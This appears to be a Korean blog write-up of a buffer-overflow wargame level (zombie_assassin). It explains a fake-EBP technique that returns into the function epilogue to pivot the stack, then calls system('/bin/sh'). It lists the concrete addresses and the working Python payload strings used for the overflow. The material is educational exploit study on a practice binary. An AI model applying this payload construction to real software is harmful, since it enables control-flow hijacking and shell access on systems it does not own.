0x28 = 40바이트를 할당하므로 dummy는 없음을 알 수 있다.
Main 함수의 에필로그를 보면 위 그림과 같이 동작하는 것을 알 수 있다.
Mov esp, ebp => esp를 ebp로 옮긴다.
Pop ebp => esp가 가리키는 값을 ebp에 저장하고 esp를 증가
Pop eip => esp가 가리키는 값을 eip에 저장
Jmp eip =>eip 주소로 이동
Jmp eip에서 system함수로 이동을 하게 하면 되지만, ret 위의 값이 조작이 불가하므로 esp가 조작된 ebp를 가리키게 해야한다.
따라서 리턴주소를 에필로그로 하면 esp가 조작된 ebp를 가리키게 할 수 있다.
Strncpy로 buffer를 채우므로, 먼저 조작된 ebp가 buffer를 가리키게 한다. 그 다음 리턴 주소를 에필로그로 바꾼다. 그러면 다시 에필로그를 실행하므로 Mov esp, ebp를 한다.
따라서 esp는 buffer를 가리키게 된다.
Pop ebp-> Pop eip-> Jmp eip를 하므로, 버퍼를 위 그림과 같이 리턴 주소에 system함수의 주소를 넣고, 그 위에 system함수의 리턴주소, 그 위에 인자를 넣어주고 남은 공간은 더미로 채운다.
에필로그 = 0x80484df
System = 0x40058ae0
“/bin/sh” => 0x400fbff9
Buffer = 0xbffffab0
에필로그 = 0x80484df => 08 04 84 df
System = 0x40058ae0 => 40 05 8a e0
“/bin/sh” => 0x400fbff9 =>40 0f bf f9
Buffer = 0xbffffab0 => bf ff fa b0
$(python -c 'print "A"*4 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "\x90"*24 + "\xb0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')
실행 후
0xbffffaa0에 들어간 것을 알 수 있었다.
따라서 buffer주소를 바꾸어 주었다.
Bf ff fa a0
$(python -c 'print "A"*4 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "\x90"*24 + "\xa0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')
(PuTTY가 출력되는 이유는 모르겠다, zombie_assassin을 gdb하였을때, Operation not permitted가 발생하여 cp하여 소유자가 assassin인 zombie_assassi2파일을 사용하였다. )
'공부 > 보안' 카테고리의 다른 글
SEED Lab 오버플로우 공격 (프로그램 동작, 메모리구조, 취약점 보완) (0) | 2021.05.03 |
---|---|
SystemProperties로 에뮬레이터 탐지 (0) | 2021.05.03 |
BOF 원정대 level 18 (0) | 2021.05.03 |
간단한 버퍼 오버플로우 (0) | 2021.04.28 |
Data type, Array operations, Byte ordering (0) | 2021.04.28 |